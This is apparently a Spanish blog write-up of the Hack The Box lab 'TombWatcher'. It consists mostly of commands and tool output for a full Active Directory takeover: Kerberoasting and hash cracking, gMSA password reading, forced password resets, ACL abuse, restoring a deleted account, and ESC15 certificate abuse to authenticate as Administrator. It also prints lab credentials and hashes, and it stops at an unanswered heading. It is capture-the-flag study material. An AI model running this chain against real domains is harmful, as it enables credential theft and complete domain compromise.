TombWatcher (ACTIVA)

WRITEUP : HTB-Vigilante de tumbas · Blog de HYH

henry / H3nry_987TGV!
nxc smb 10.10.11.72
echo "10.10.11.72 tombwatcher.htb DC01 DC01.tombwatcher.htb" >> /etc/hosts
dnsrecon -a -n 10.10.11.72 -d tombwatcher.htb
ldapdomaindump -u 'tombwatcher.htb\henry' -p 'H3nry_987TGV!' 10.10.11.72
netexec smb 10.10.11.72 -u 'henry' -p 'H3nry_987TGV!' -d tombwatcher.htb --shares
rpcclient -U 'henry%H3nry_987TGV!' 10.10.11.72 -c "enumdomusers" | tr '[]' ' '| awk '{print $2}' > users.txti
impacket-GetNPUsers tombwatcher.htb/ -no-pass -usersfile users.txt
impacket-GetUserSPNs tombwatcher.htb/henry:'H3nry_987TGV!'  -request
nmap --script ldap-\* -p 389,636,3268,3269 10.10.11.72  
sudo python3 targetedKerberoast.py -v -d tombwatcher.htb -u henry  -p 'H3nry_987TGV!' --request-user alfred -o alfred.kerb
hashcat  -a 0 alfred.kerb /usr/share/wordlists/rockyou.txt --force -m 13100
alfred : basketball
bloodyAD --host 10.10.11.72 -d DC01.tombwatcher.htb -u alfred -p basketball  add groupMember 'INFRASTRUCTURE' alfred
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'alfred' -p 'basketball' get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword
netexec smb 10.10.11.72 -u 'ANSIBLE_DEV$' -H '4b21348ca4a9edff9689cdf75cbda439' -d tombwatcher.htb
rpcclient -U 'tombwatcher.htb\ANSIBLE_DEV$%4b21348ca4a9edff9689cdf75cbda439' --pw-nt-hash 10.10.11.72
setuserinfo2 sam 23 'PASS'
netexec smb 10.10.11.72 -u 'sam' -p 'PASS' -d tombwatcher.htb
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' set owner john sam
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' add genericAll 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' sam
rpcclient -U 'sam%PASS' 10.10.11.72
setuserinfo2 john 23 'PASS'
evil-winrm -i 10.10.11.72 -u 'john' -p 'PASS'

AUTOPWN

rpcclient -U 'tombwatcher.htb\ANSIBLE_DEV$%4b21348ca4a9edff9689cdf75cbda439' --pw-nt-hash 10.10.11.72 -c "setuserinfo2 sam 23 'PASS'"

bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' set owner john sam

bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'PASS' add genericAll 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' sam

rpcclient -U 'sam%PASS' 10.10.11.72 -c "setuserinfo2 john 23 'PASS'"

evil-winrm -i 10.10.11.72 -u 'john' -p 'PASS'

Buscamos usuarios borrados:

Get-ADObject -IncludeDeletedObjects -Filter 'ObjectClass -like "user"' -Properties *

Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

Le habilitamos la cuenta y le cambiamos la contraseña:

bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u john -p 'PASS' remove uac 'cert_admin' -f ACCOUNTDISABLE
rpcclient -U 'john%PASS' 10.10.11.72 -c 'setuserinfo2 cert_admin 23 'PASS'

Vamos a buscarle vulns

certipy find -vulnerable -u 'cert_admin' -p 'PASS' -dc-ip 10.10.11.72

Nos muestra que la plantilla WebConfig está mal configurada:

Certificate Authorities
  0
    CA Name                             : tombwatcher-CA-1
    DNS Name                            : DC01.tombwatcher.htb
    Certificate Subject                 : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
    Certificate Serial Number           : 3428A7FC52C310B2460F8440AA8327AC
    Certificate Validity Start          : 2024-11-16 00:47:48+00:00
    Certificate Validity End            : 2123-11-16 00:57:48+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : TOMBWATCHER.HTB\Administrators
      Access Rights
        ManageCa                        : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        ManageCertificates              : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Enroll                          : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\cert_admin
    [!] Vulnerabilities
      ESC15                             : Enrollee supplies subject and schema version is 1.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

Paso 1: Solicitar un certificado con permisos de agente

certipy req \
  -u 'cert_admin@tombwatcher.htb' -p 'PASS' \
  -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
  -ca 'tombwatcher-CA-1' -template 'WebServer' \
  -application-policies 'Certificate Request Agent'

¿Qué haces aquí?

🔴 Vulnerabilidad explotada: La plantilla permite políticas arbitrarias (Enrollee supplies subject) y no limita el uso de Certificate Request Agent.

🔐 Resultado: Se genera un certificado (cert_admin.pfx) que funciona como un agente de inscripción.


Paso 2: Usar ese certificado-agente para pedir uno en nombre de Administrator

certipy req \
  -u 'cert_admin@tombwatcher.htb' -p 'PASS' \
  -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
  -ca 'tombwatcher-CA-1' -template 'User' \
  -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'

O podríamos loguearnos directamente :

certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72' -ldap-shell

¿Qué haces aquí?

🔐 Resultado: Obtienes un certificado (administrator.pfx) válido para autenticarse como el usuario Administrator.


Paso 3: Autenticarse con ese certificado como Administrator

certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72'

¿Qué ocurre?

🔑 Resultado final: Estás autenticado como Administrator del dominio y puedes actuar con plenos privilegios.


🚨 ¿Por qué funciona esto?